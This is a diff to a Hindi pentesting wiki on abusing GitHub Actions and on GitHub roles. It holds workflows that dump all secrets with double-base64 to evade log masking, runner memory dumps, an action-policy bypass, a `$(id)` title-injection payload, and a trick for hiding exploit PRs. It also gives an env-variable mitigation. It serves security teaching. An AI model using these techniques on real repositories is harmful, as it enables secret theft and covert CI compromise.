+एक cache उसी branch में चलने वाले **workflow runs** के बीच maintained रहती है। इसका मतलब है कि अगर कोई attacker किसी **package** को compromise कर देता है जो cache में store हो जाता है और बाद में किसी **more privileged** workflow द्वारा **downloaded** और execute किया जाता है, तो वह उस workflow को भी **compromise** कर सकेगा।
 
 {{#ref}}
 gh-actions-cache-poisoning.md
 {{#endref}}
 
-### आर्टिफैक्ट पॉइज़निंग
+### Artifact Poisoning
 
-वर्कफ़्लो **अन्य वर्कफ़्लो और यहां तक कि रिपॉजिटरी से आर्टिफैक्ट्स** का उपयोग कर सकते हैं, यदि एक हमलावर **Github Action को समझौता करने में सफल होता है** जो एक आर्टिफैक्ट **अपलोड करता है** जो बाद में किसी अन्य वर्कफ़्लो द्वारा उपयोग किया जाता है, तो वह **अन्य वर्कफ़्लो को समझौता** कर सकता है:
+Workflows अन्य workflows और यहां तक कि repos से भी **artifacts** उपयोग कर सकते हैं; अगर कोई attacker उस Github Action को **compromise** कर ले जो कोई **artifact upload** करता है और वह बाद में किसी दूसरे workflow द्वारा उपयोग किया जाता है, तो वह अन्य workflows को भी **compromise** कर सकता है:
 
 {{#ref}}
 gh-actions-artifact-poisoning.md
@@ -426,11 +431,36 @@ gh-actions-artifact-poisoning.md
 
 ---
 
-## एक क्रिया से पोस्ट एक्सप्लॉइटेशन
+## Post Exploitation from an Action
 
+### Github Action Policies Bypass
+
+जैसा कि [**इस ब्लॉग पोस्ट**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass) में बताया गया है, भले ही किसी repository या organization के पास कुछ actions के उपयोग को सीमित करने वाली policy हो, एक attacker बस workflow के अंदर action को `git clone` करके download कर सकता है और फिर उसे local action के रूप में reference कर सकता है। चूंकि policies local paths को प्रभावित नहीं करतीं, **the action will be executed without any restriction.**
+
+Example:
+```yaml
+on: [push, pull_request]
+
+jobs:
+test:
+runs-on: ubuntu-latest
+steps:
+- run: |
+mkdir -p ./tmp
+git clone https://github.com/actions/checkout.git ./tmp/checkout
+
+- uses: ./tmp/checkout
+with:
+repository: woodruffw/gha-hazmat
+path: gha-hazmat
+
+- run: ls && pwd
+
+- run: ls tmp/checkout
+```
 ### OIDC के माध्यम से AWS और GCP तक पहुँच
 
-निम्नलिखित पृष्ठों की जाँच करें:
+Check the following pages:
 
 {{#ref}}
 ../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
@@ -440,15 +470,15 @@ gh-actions-artifact-poisoning.md
 ../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md
 {{#endref}}
 
-### रहस्यों तक पहुँच 
+### secrets तक पहुँच 
 
-यदि आप एक स्क्रिप्ट में सामग्री इंजेक्ट कर रहे हैं, तो यह जानना दिलचस्प है कि आप रहस्यों तक कैसे पहुँच सकते हैं:
+यदि आप किसी script में content inject कर रहे हैं, तो यह जानना उपयोगी है कि आप secrets तक कैसे पहुँच सकते हैं:
 
-- यदि रहस्य या टोकन को **पर्यावरण चर** में सेट किया गया है, तो इसे **`printenv`** का उपयोग करके सीधे पर्यावरण के माध्यम से एक्सेस किया जा सकता है।
+- यदि secret या token **environment variable** में सेट है, तो इसे **`printenv`** का उपयोग करके environment से सीधे एक्सेस किया जा सकता है।
 
 

 
-Github Action आउटपुट में रहस्यों की सूची
+Github Action output में secrets की सूची
 ```yaml
 name: list_env
 on:
@@ -475,7 +505,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
 
 

 
-गुप्तों के साथ रिवर्स शेल प्राप्त करें
+secrets के साथ reverse shell प्राप्त करें
 ```yaml
 name: revshell
 on:
@@ -498,15 +528,15 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
 ```
 

 
-- यदि गुप्त को **एक्सप्रेशन में सीधे** उपयोग किया जाता है, तो उत्पन्न शेल स्क्रिप्ट **डिस्क पर** संग्रहीत होती है और इसे एक्सेस किया जा सकता है।
+- यदि secret को **directly in an expression** में उपयोग किया जाता है, तो जनरेट किया गया shell script **on-disk** पर स्टोर होता है और पहुँच योग्य होता है.
 - ```bash
 cat /home/runner/work/_temp/*
 ```
-- JavaScript क्रियाओं के लिए गुप्त और पर्यावरण चर के माध्यम से भेजे जाते हैं
+- JavaScript actions के लिए secrets को environment variables के माध्यम से भेजा जाता है
 - ```bash
 ps axe | grep node
 ```
-- एक **कस्टम क्रिया** के लिए, जोखिम इस पर निर्भर कर सकता है कि एक प्रोग्राम ने **आर्गुमेंट** से प्राप्त गुप्त का उपयोग कैसे किया है:
+- एक **custom action** के लिए, जोखिम इस बात पर निर्भर कर सकता है कि प्रोग्राम उस secret का उपयोग कैसे कर रहा है जो उसे **argument** से मिला है:
 
 ```yaml
 uses: fakeaction/publish@v3
@@ -514,23 +544,47 @@ with:
 key: ${{ secrets.PUBLISH_KEY }}
 ```
 
-### स्वयं-होस्टेड रनर्स का दुरुपयोग
+- secrets context के माध्यम से सभी secrets को enumerate करें (collaborator level). write access वाला contributor किसी भी branch पर workflow को modify करके सभी repository/org/environment secrets को dump कर सकता है. GitHub’s log masking से बचने के लिए double base64 का उपयोग करें और लोकल में decode करें:
 
-यह पता लगाने का तरीका कि कौन सी **Github Actions गैर-github अवसंरचना में निष्पादित हो रही हैं** वह है कि Github Action कॉन्फ़िगरेशन yaml में **`runs-on: self-hosted`** के लिए खोजें।
+```yaml
+name: Steal secrets
+on:
+push:
+branches: [ attacker-branch ]
+jobs:
+dump:
+runs-on: ubuntu-latest
+steps:
+- name: Double-base64 the secrets context
+run: |
+echo '${{ toJson(secrets) }}' | base64 -w0 | base64 -w0
+```
 
-**स्वयं-होस्टेड** रनर्स को **अतिरिक्त संवेदनशील जानकारी** तक पहुंच हो सकती है, अन्य **नेटवर्क सिस्टम** (नेटवर्क में कमजोर एंडपॉइंट? मेटाडेटा सेवा?) या, भले ही यह अलग-थलग और नष्ट हो जाए, **एक से अधिक क्रियाएं एक ही समय में चलाई जा सकती हैं** और दुर्भावनापूर्ण एक **दूसरे के गुप्त चुरा सकती है**।
+लोकल में decode करें:
 
-स्वयं-होस्टेड रनर्स में यह भी संभव है कि **\_Runner.Listener**\_\*\* प्रक्रिया\*\* से **गुप्त प्राप्त करें** जो किसी भी चरण पर कार्यप्रवाह के सभी गुप्त को अपनी मेमोरी को डंप करके रखेगा:
+```bash
+echo "ZXdv...Zz09" | base64 -d | base64 -d
+```
+
+Tip: परीक्षण के दौरान stealth के लिए, print करने से पहले encrypt करें (openssl GitHub-hosted runners पर पहले से इंस्टॉल होता है)।
+
+### Self-hosted runners का दुरुपयोग
+
+पता लगाने का तरीका कि कौन से **Github Actions are being executed in non-github infrastructure** वह है Github Action configuration yaml में **`runs-on: self-hosted`** को search करना।
+
+**Self-hosted** runners को **extra sensitive information** तक पहुँच हो सकती है, अन्य **network systems** तक (vulnerable endpoints in the network? metadata service?) या, भले ही यह isolated हो और नष्ट कर दिया जाए, **एक से अधिक action एक साथ चल सकती हैं** और malicious one दूसरे action के **secrets** को चुरा सकती है।
+
+Self-hosted runners में यह भी संभव है कि आप **secrets from the \_Runner.Listener**\_\*\* process\*\* को प्राप्त कर सकें, जो किसी भी step पर workflows के सभी secrets को contain करेगा, उसके memory को dump करके:
 ```bash
 sudo apt-get install -y gdb
 sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
 ```
-चेक करें [**इस पोस्ट में अधिक जानकारी के लिए**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/)।
+Check [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
 
 ### Github Docker Images Registry
 
-यह संभव है कि Github actions बनाई जाएं जो **Github के अंदर एक Docker इमेज बनाएं और स्टोर करें**।\
-एक उदाहरण निम्नलिखित विस्तार योग्य में पाया जा सकता है:
+यह संभव है कि आप ऐसे Github actions बना सकें जो **Github के अंदर एक Docker image बनाकर उसे संग्रहित करें**.\
+एक उदाहरण निम्न विस्तारयोग्य अनुभाग में दिया गया है:
 
 

 
@@ -565,30 +619,34 @@ ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ e
 ```
 

 
-जैसा कि आप पिछले कोड में देख सकते हैं, Github रजिस्ट्री **`ghcr.io`** पर होस्ट की गई है।
+जैसा कि आप पिछले कोड में देख सकते हैं, Github registry होस्ट किया गया है **`ghcr.io`**.
 
-एक उपयोगकर्ता जिसे रेपो पर पढ़ने की अनुमति है, वह फिर एक व्यक्तिगत एक्सेस टोकन का उपयोग करके Docker इमेज डाउनलोड कर सकेगा:
+repo पर read permissions वाले उपयोगकर्ता personal access token का उपयोग करके Docker Image डाउनलोड करने में सक्षम होंगे:
 ```bash
 echo $gh_token | docker login ghcr.io -u  --password-stdin
 docker pull ghcr.io//:
 ```
-फिर, उपयोगकर्ता **Docker इमेज लेयर्स में लीक हुए रहस्यों** की खोज कर सकता है:
+फिर, उपयोगकर्ता **leaked secrets in the Docker image layers:** की खोज कर सकता है:
 
 {{#ref}}
 https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
 {{#endref}}
 
-### Github Actions लॉग में संवेदनशील जानकारी
+### Github Actions logs में संवेदनशील जानकारी
 
-यहां तक कि अगर **Github** **क्रियाओं के लॉग में रहस्यमय मानों** का **पता लगाने** और **उन्हें दिखाने से बचने** की कोशिश करता है, तो **अन्य संवेदनशील डेटा** जो क्रिया के निष्पादन में उत्पन्न हो सकता है, छिपा नहीं होगा। उदाहरण के लिए, एक JWT जो एक रहस्यमय मान के साथ हस्ताक्षरित है, वह तब तक छिपा नहीं होगा जब तक कि इसे [विशेष रूप से कॉन्फ़िगर](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret) नहीं किया गया हो।
+यहाँ तक कि अगर **Github** actions logs में **secret values** को **detect** करने और उन्हें **avoid showing** करने की कोशिश भी करे, तब भी action के execution में उत्पन्न हुई **other sensitive data** छुपाई नहीं जाएगी। उदाहरण के लिए, एक JWT जो किसी secret value से signed है, तब तक छिपी नहीं जाएगी जब तक कि वह [specifically configured](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret) न हो।
 
 ## अपने निशान छुपाना
 
-(तकनीक [**यहां**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit) से) सबसे पहले, कोई भी PR जो उठाया गया है, वह Github में सार्वजनिक रूप से और लक्षित GitHub खाते के लिए स्पष्ट रूप से दिखाई देता है। GitHub में डिफ़ॉल्ट रूप से, हम **इंटरनेट से एक PR को हटा नहीं सकते**, लेकिन इसमें एक मोड़ है। Github द्वारा **सस्पेंड** किए गए खातों के लिए, उनके सभी **PRs स्वचालित रूप से हटा दिए जाते हैं** और इंटरनेट से हटा दिए जाते हैं। इसलिए अपनी गतिविधियों को छिपाने के लिए आपको या तो अपने **GitHub खाते को सस्पेंड** कराना होगा या अपने खाते को **फ्लैग** कराना होगा। यह **आपकी सभी गतिविधियों** को GitHub से इंटरनेट से छिपा देगा (बुनियादी रूप से आपके सभी एक्सप्लॉइट PR को हटा देगा)
+(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) सबसे पहले, कोई भी PR जो उठाया गया है वह सार्वजनिक रूप से Github और target GitHub account दोनों पर स्पष्ट रूप से दिखाई देता है। GitHub में default रूप से, हम **can’t delete a PR of the internet**, पर एक ट्विस्ट है। जिन Github accounts को GitHub द्वारा **suspended** किया जाता है, उनके सभी **PRs are automatically deleted** कर दिए जाते हैं और इंटरनेट से हटा दिए जाते हैं। इसलिए अपनी activity छुपाने के लिए आपको या तो अपना **GitHub account suspended or get your account flagged** करवाना होगा। इससे GitHub पर आपकी सारी गतिविधियाँ इंटरनेट से छिप जाएंगी (basically remove all your exploit PR)
 
-GitHub में एक संगठन खातों की रिपोर्ट करने में बहुत सक्रिय है। आपको बस "कुछ चीजें" Issue में साझा करनी हैं और वे सुनिश्चित करेंगे कि आपका खाता 12 घंटे में सस्पेंड हो जाए :p और वहां आपने, अपने एक्सप्लॉइट को github पर अदृश्य बना दिया।
+एक organization GitHub पर अकाउंट रिपोर्ट करने में बहुत proactive रहती है। आपको बस Issue में “some stuff” शेयर करना है और वे सुनिश्चित कर देंगे कि 12 घंटे में आपका account suspended हो जाए :p और इस तरह आपका exploit GitHub पर invisible हो जाएगा।
 
 > [!WARNING]
-> एक संगठन के लिए यह पता लगाने का एकमात्र तरीका है कि वे लक्षित हुए हैं, SIEM से GitHub लॉग की जांच करना है क्योंकि GitHub UI से PR हटा दिया जाएगा।
+> किसी organization के लिए यह पता लगाने का единमात्र तरीका कि उन्हें target किया गया है, GitHub logs को SIEM से चेक करना है क्योंकि GitHub UI से PR हटा दिया जाएगा।
+
+## References
+
+- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md
index 591109f16..12a5f2849 100644
--- a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md
+++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md
@@ -1,3 +1,96 @@
 # Gh Actions - Context Script Injections
 
 {{#include ../../../banners/hacktricks-training.md}}
+
+## जोखिम को समझना
+
+GitHub Actions expressions ${{ ... }} को step के execute होने से पहले render करता है। रेंडर किया गया मान step के प्रोग्राम में चिपकाया जाता है (run स्टेप्स के लिए, एक shell script)। अगर आप run: के अंदर सीधे अनविश्वसनीय इनपुट interpolate करते हैं, तो attacker shell प्रोग्राम के एक हिस्से को नियंत्रित कर सकता है और arbitrary commands चला सकता है।
+
+Docs: https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions and contexts/functions: https://docs.github.com/en/actions/learn-github-actions/contexts
+
+मुख्य बिंदु:
+- Rendering निष्पादन से पहले होता है। run script सभी expressions के हल होने के साथ जनरेट किया जाता है, फिर shell द्वारा execute किया जाता है।
+- कई contexts उन फ़ील्ड्स को contain करते हैं जो triggering event (issues, PRs, comments, discussions, forks, stars, आदि) पर निर्भर करते हुए user-controlled होते हैं। untrusted input reference देखें: https://securitylab.github.com/resources/github-actions-untrusted-input/
+- run: के अंदर Shell quoting एक भरोसेमंद रक्षा नहीं है, क्योंकि injection template rendering चरण पर होता है। हमलावर quotes से बाहर निकल सकते हैं या crafted input के ज़रिए operators inject कर सकते हैं।
+
+## कमजोर पैटर्न → RCE on runner
+
+Vulnerable workflow (triggered when someone opens a new issue):
+```yaml
+name: New Issue Created
+on:
+issues:
+types: [opened]
+jobs:
+deploy:
+runs-on: ubuntu-latest
+permissions:
+issues: write
+steps:
+- name: New issue
+run: |
+echo "New issue ${{ github.event.issue.title }} created"
+- name: Add "new" label to issue
+uses: actions-ecosystem/action-add-labels@v1
+with:
+github_token: ${{ secrets.GITHUB_TOKEN }}
+labels: new
+```
+यदि एक attacker एक issue खोलता है जिसका शीर्षक $(id) है, तो rendered step बन जाता है:
+```sh
+echo "New issue $(id) created"
+```
+कमांड सब्स्टिट्यूशन runner पर id चलाता है। उदाहरण आउटपुट:
+```
+New issue uid=1001(runner) gid=118(docker) groups=118(docker),4(adm),100(users),999(systemd-journal) created
+```
+क्यों quoting आपकी सुरक्षा नहीं करता:
+- Expressions पहले रेंडर होते हैं, और फिर बना हुआ script चलता है। यदि अनट्रस्टेड वैल्यू में $(...), `;`, `"`/`'`, या newlines हों, तो यह आपके quoting के बावजूद प्रोग्राम की संरचना बदल सकता है।
+
+## Safe pattern (shell variables via env)
+
+Correct mitigation: अनट्रस्टेड इनपुट को एक environment variable में कॉपी करें, फिर run script में native shell expansion ($VAR) का उपयोग करें। Command के अंदर ${{ ... }} के साथ फिर से re-embed न करें।
+```yaml
+# safe
+jobs:
+deploy:
+runs-on: ubuntu-latest
+steps:
+- name: New issue
+env:
+TITLE: ${{ github.event.issue.title }}
+run: |
+echo "New issue $TITLE created"
+```
+नोट्स:
+- Avoid using ${{ env.TITLE }} inside run:. यह कमांड में फिर से template rendering वापस ला देता है और वही injection जोखिम पैदा करता है।
+- Prefer passing untrusted inputs via env: mapping and reference them with $VAR in run:.
+
+## रीडर-ट्रिगर करने योग्य सतहें (अनविश्वसनीय मानें)
+
+केवल read permission वाले खाते भी public repositories पर कई इवेंट्स ट्रिगर कर सकते हैं। इन इवेंट्स से उत्पन्न contexts के किसी भी फ़ील्ड को हम तब तक attacker-controlled मानें जब तक कि इसके विपरीत साबित न हो। उदाहरण:
+- issues, issue_comment
+- discussion, discussion_comment (orgs can restrict discussions)
+- pull_request, pull_request_review, pull_request_review_comment
+- pull_request_target (dangerous if misused, runs in base repo context)
+- fork (anyone can fork public repos)
+- watch (starring a repo)
+- Indirectly via workflow_run/workflow_call chains
+
+कौन से विशिष्ट फ़ील्ड attacker-controlled हैं यह इवेंट-विशिष्ट होता है। GitHub Security Lab’s untrusted input guide देखें: https://securitylab.github.com/resources/github-actions-untrusted-input/
+
+## व्यवहारिक टिप्स
+
+- run: के अंदर expressions का उपयोग न्यूनतम रखें। env: मैपिंग + $VAR को प्राथमिकता दें।
+- यदि आपको input को transform करना ही है, तो इसे shell में सुरक्षित टूल्स (printf %q, jq -r, आदि) का उपयोग करके करें, और फिर भी एक shell variable से शुरू करें।
+- branch names, PR titles, usernames, labels, discussion titles, और PR head refs को scripts, command-line flags, या file paths में interpolate करते समय विशेष सावधानी बरतें।
+- reusable workflows और composite actions के लिए भी वही पैटर्न लागू करें: env में map करें फिर $VAR से संदर्भित करें।
+
+## संदर्भ
+
+- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
+- [GitHub workflow syntax](https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions)
+- [Contexts and expression syntax](https://docs.github.com/en/actions/learn-github-actions/contexts)
+- [Untrusted input reference for GitHub Actions](https://securitylab.github.com/resources/github-actions-untrusted-input/)
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-ci-cd/github-security/basic-github-information.md b/src/pentesting-ci-cd/github-security/basic-github-information.md
index 9736ff095..abd8f14d5 100644
--- a/src/pentesting-ci-cd/github-security/basic-github-information.md
+++ b/src/pentesting-ci-cd/github-security/basic-github-information.md
@@ -1,155 +1,156 @@
-# Basic Github Information
+# बुनियादी Github जानकारी
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Basic Structure
+## बुनियादी संरचना
 
-एक बड़े **कंपनी** का बुनियादी गिटहब वातावरण संरचना एक **उद्यम** है जो **कई संगठनों** का मालिक है और उनमें से प्रत्येक में **कई रिपॉजिटरी** और **कई टीमें** हो सकती हैं। छोटे कंपनियों के पास केवल **एक संगठन और कोई उद्यम** हो सकता है।
+एक बड़ी **कंपनी** के github पर्यावरण की बुनियादी संरचना यह होती है कि वह एक **enterprise** की मालिक होती है जो कई **organizations** की मालिक होती है और प्रत्येक में **कई repositories** और **कई teams** हो सकते हैं। छोटी कंपनियाँ सिर्फ़ **एक organization की मालिक और कोई enterprise नहीं** भी हो सकती हैं।
 
-एक उपयोगकर्ता के दृष्टिकोण से, एक **उपयोगकर्ता** **विभिन्न उद्यमों और संगठनों** का **सदस्य** हो सकता है। उनके भीतर उपयोगकर्ता के पास **विभिन्न उद्यम, संगठन और रिपॉजिटरी भूमिकाएँ** हो सकती हैं।
+यूज़र की नज़र से एक **user** विभिन्न **enterprises और organizations** का **member** हो सकता है। इनके भीतर उपयोगकर्ता के पास अलग-अलग **enterprise, organization और repository roles** हो सकते हैं।
 
-इसके अलावा, एक उपयोगकर्ता **विभिन्न टीमों** का **भाग** हो सकता है जिनकी विभिन्न उद्यम, संगठन या रिपॉजिटरी भूमिकाएँ हैं।
+इसके अलावा, एक उपयोगकर्ता अलग-अलग टीमों का **part** हो सकता है जिनमें अलग-अलग enterprise, organization या repository roles हो सकते हैं।
 
-और अंत में, **रिपॉजिटरी में विशेष सुरक्षा तंत्र** हो सकते हैं।
+और अंततः **repositories में विशेष protection mechanisms हो सकते हैं।**
 
 ## Privileges
 
 ### Enterprise Roles
 
-- **Enterprise owner**: इस भूमिका वाले लोग **व्यवस्थापकों का प्रबंधन, उद्यम के भीतर संगठनों का प्रबंधन, उद्यम सेटिंग्स का प्रबंधन, संगठनों के बीच नीति लागू करने** में सक्षम होते हैं। हालाँकि, वे **संगठन सेटिंग्स या सामग्री तक पहुँच नहीं सकते** जब तक कि उन्हें संगठन का मालिक नहीं बनाया जाता या संगठन-स्वामित्व वाली रिपॉजिटरी तक सीधी पहुँच नहीं दी जाती।
-- **Enterprise members**: आपके उद्यम द्वारा स्वामित्व वाले संगठनों के सदस्य भी **स्वचालित रूप से उद्यम के सदस्य** होते हैं।
+- **Enterprise owner**: इस भूमिका वाले लोग **administrators को manage कर सकते हैं, enterprise के भीतर organizations को manage कर सकते हैं, enterprise settings को manage कर सकते हैं, और organizations पर policy लागू कर सकते हैं**। हालांकि, वे **organization settings या content तक पहुँच नहीं रख सकते** जब तक उन्हें organization owner न बनाया जाए या किसी organization-owned repository का direct access न दिया जाए।
+- **Enterprise members**: आपके enterprise के द्वारा owned organizations के members भी **स्वतः enterprise के members** होते हैं।
 
 ### Organization Roles
 
-एक संगठन में उपयोगकर्ताओं के पास विभिन्न भूमिकाएँ हो सकती हैं:
+एक organisation में users के अलग-अलग roles हो सकते हैं:
 
-- **Organization owners**: संगठन के मालिकों के पास **आपके संगठन तक पूर्ण प्रशासनिक पहुँच** होती है। इस भूमिका को सीमित किया जाना चाहिए, लेकिन आपके संगठन में दो से कम लोगों के लिए नहीं।
-- **Organization members**: **डिफ़ॉल्ट**, गैर-प्रशासनिक भूमिका **संगठन में लोगों** के लिए संगठन सदस्य है। डिफ़ॉल्ट रूप से, संगठन के सदस्यों के पास **कई अनुमतियाँ** होती हैं।
-- **Billing managers**: बिलिंग प्रबंधक वे उपयोगकर्ता होते हैं जो **आपके संगठन के लिए बिलिंग सेटिंग्स का प्रबंधन** कर सकते हैं, जैसे भुगतान जानकारी।
-- **Security Managers**: यह एक भूमिका है जिसे संगठन के मालिक किसी भी टीम को सौंप सकते हैं। जब लागू किया जाता है, तो यह टीम के प्रत्येक सदस्य को **आपके संगठन में सुरक्षा अलर्ट और सेटिंग्स का प्रबंधन करने, साथ ही संगठन में सभी रिपॉजिटरी के लिए पढ़ने की अनुमतियाँ** देता है।
-- यदि आपके संगठन में एक सुरक्षा टीम है, तो आप सुरक्षा प्रबंधक भूमिका का उपयोग टीम के सदस्यों को संगठन तक पहुँच देने के लिए कर सकते हैं।
-- **Github App managers**: अतिरिक्त उपयोगकर्ताओं को **संगठन द्वारा स्वामित्व वाले GitHub Apps का प्रबंधन** करने की अनुमति देने के लिए, एक मालिक उन्हें GitHub App प्रबंधक अनुमतियाँ दे सकता है।
-- **Outside collaborators**: एक बाहरी सहयोगी वह व्यक्ति है जिसके पास **एक या अधिक संगठन रिपॉजिटरी तक पहुँच है लेकिन वह स्पष्ट रूप से संगठन का सदस्य नहीं है**।
+- **Organization owners**: Organization owners के पास **आपके organization पर पूर्ण administrative access** होता है। इस भूमिका को सीमित रखना चाहिए, पर आपके organization में कम से कम दो लोगों से कम नहीं होनी चाहिए।
+- **Organization members**: **default**, गैर-प्रशासनिक भूमिका के रूप में **organization में लोगों** के लिए organization member होती है। डिफ़ॉल्ट रूप से, organization members के पास **कई permissions** होते हैं।
+- **Billing managers**: Billing managers वे users होते हैं जो आपकी organization के लिए **billing settings को manage कर सकते हैं**, जैसे payment information।
+- **Security Managers**: यह एक भूमिका है जिसे organization owners किसी भी टीम को असाइन कर सकते हैं। लागू होने पर, यह टीम के हर सदस्य को संगठन भर में **security alerts और settings को manage करने की अनुमति**, साथ ही संगठन के सभी repositories के लिए read permissions देता है।
+- यदि आपकी organization में एक security team है, तो आप security manager role का उपयोग टीम के सदस्यों को संगठन तक न्यूनतम आवश्यक पहुँच देने के लिए कर सकते हैं।
+- **Github App managers**: अतिरिक्त users को **GitHub Apps (जो organization के द्वारा owned हों) को manage करने की अनुमति देने के लिए**, एक owner उन्हें GitHub App manager permissions दे सकता है।
+- **Outside collaborators**: एक outside collaborator वह व्यक्ति होता है जिसके पास **एक या अधिक organization repositories तक access है पर वह organization का explicitly member नहीं है**।
 
-आप इन भूमिकाओं के अनुमतियों की **तुलना** इस तालिका में कर सकते हैं: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
+आप इन roles के permissions **इस तालिका में तुलना** कर सकते हैं: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
 
 ### Members Privileges
 
-_https://github.com/organizations/\/settings/member_privileges_ में आप देख सकते हैं कि **संगठन का हिस्सा होने के नाते उपयोगकर्ताओं के पास कौन सी अनुमतियाँ होंगी**।
+_in_ https://github.com/organizations/\/settings/member_privileges आप देख सकते हैं कि **organisation का भाग होने के नाते users को किन permissions का अधिकार मिलेगा**।
 
-यहाँ कॉन्फ़िगर की गई सेटिंग्स संगठन के सदस्यों की निम्नलिखित अनुमतियों को इंगित करेंगी:
+यहाँ जो settings configure की गई हैं वे organization के सदस्यों के निम्नलिखित permissions को निर्दिष्ट करेंगी:
 
-- सभी संगठन रिपॉजिटरी पर व्यवस्थापक, लेखक, पाठक या कोई अनुमति नहीं होना।
-- यदि सदस्यों को निजी, आंतरिक या सार्वजनिक रिपॉजिटरी बनाने की अनुमति है।
-- यदि रिपॉजिटरी का फोर्क करना संभव है।
-- यदि बाहरी सहयोगियों को आमंत्रित करना संभव है।
-- यदि सार्वजनिक या निजी साइटों को प्रकाशित किया जा सकता है।
-- रिपॉजिटरी पर व्यवस्थापकों के पास जो अनुमतियाँ हैं।
-- यदि सदस्यों को नई टीमें बनाने की अनुमति है।
+- सभी organization repos पर admin, writer, reader या कोई permission नहीं होना।
+- क्या members private, internal या public repositories बना सकते हैं।
+- क्या repositories का forking संभव है।
+- क्या outside collaborators को invite करना संभव है।
+- क्या public या private sites publish किए जा सकते हैं।
+- repositories पर admins के permissions।
+- क्या members नई teams बना सकते हैं।
 
 ### Repository Roles
 
-डिफ़ॉल्ट रूप से रिपॉजिटरी भूमिकाएँ बनाई जाती हैं:
+डिफ़ॉल्ट रूप से repository roles बनाए जाते हैं:
 
-- **Read**: **गैर-कोड योगदानकर्ताओं** के लिए अनुशंसित जो आपके प्रोजेक्ट को देखना या चर्चा करना चाहते हैं।
-- **Triage**: **योगदानकर्ताओं के लिए अनुशंसित जिन्हें मुद्दों और पुल अनुरोधों का सक्रिय रूप से प्रबंधन करने** की आवश्यकता होती है बिना लिखने की पहुँच के।
-- **Write**: योगदानकर्ताओं के लिए अनुशंसित जो **सक्रिय रूप से आपके प्रोजेक्ट में योगदान करते हैं**।
-- **Maintain**: **प्रोजेक्ट प्रबंधकों के लिए अनुशंसित जिन्हें रिपॉजिटरी का प्रबंधन करने** की आवश्यकता होती है बिना संवेदनशील या विनाशकारी कार्यों की पहुँच के।
-- **Admin**: उन लोगों के लिए अनुशंसित जिन्हें **प्रोजेक्ट तक पूर्ण पहुँच** की आवश्यकता होती है, जिसमें सुरक्षा प्रबंधन या रिपॉजिटरी को हटाने जैसे संवेदनशील और विनाशकारी कार्य शामिल हैं।
+- **Read**: उन **non-code contributors** के लिए सिफारिश की जाती है जो आपके प्रोजेक्ट को देखना या उस पर चर्चा करना चाहते हैं।
+- **Triage**: उन **contributors के लिए सिफारिश की जाती है जिन्हें issues और pull requests को proactively manage करने की आवश्यकता है** बिना write access के।
+- **Write**: उन contributors के लिए सिफारिश की जाती है जो **सक्रिय रूप से आपके प्रोजेक्ट में push** करते हैं।
+- **Maintain**: उन **project managers के लिए सिफारिश की जाती है जिन्हें repository manage करनी है** बिना sensitive या destructive actions के एक्सेस के।
+- **Admin**: उन लोगों के लिए सिफारिश की जाती है जिन्हें प्रोजेक्ट पर **पूर्ण एक्सेस** चाहिए, जिसमें sensitive और destructive actions जैसे security manage करना या repository delete करना शामिल हैं।
 
-आप इस तालिका में प्रत्येक भूमिका के अनुमतियों की **तुलना** कर सकते हैं [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
+आप प्रत्येक role के permissions **इस तालिका में तुलना** कर सकते हैं [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
 
-आप _https://github.com/organizations/\/settings/roles_ में अपनी स्वयं की भूमिकाएँ भी **बना सकते हैं**।
+आप अपने खुद के roles भी _https://github.com/organizations/\/settings/roles_ में बना सकते हैं।
 
 ### Teams
 
-आप _https://github.com/organizations/\/teams_ में **एक संगठन में बनाई गई टीमों की सूची** देख सकते हैं। ध्यान दें कि अन्य टीमों के बच्चों को देखने के लिए आपको प्रत्येक माता-पिता टीम तक पहुँचने की आवश्यकता है।
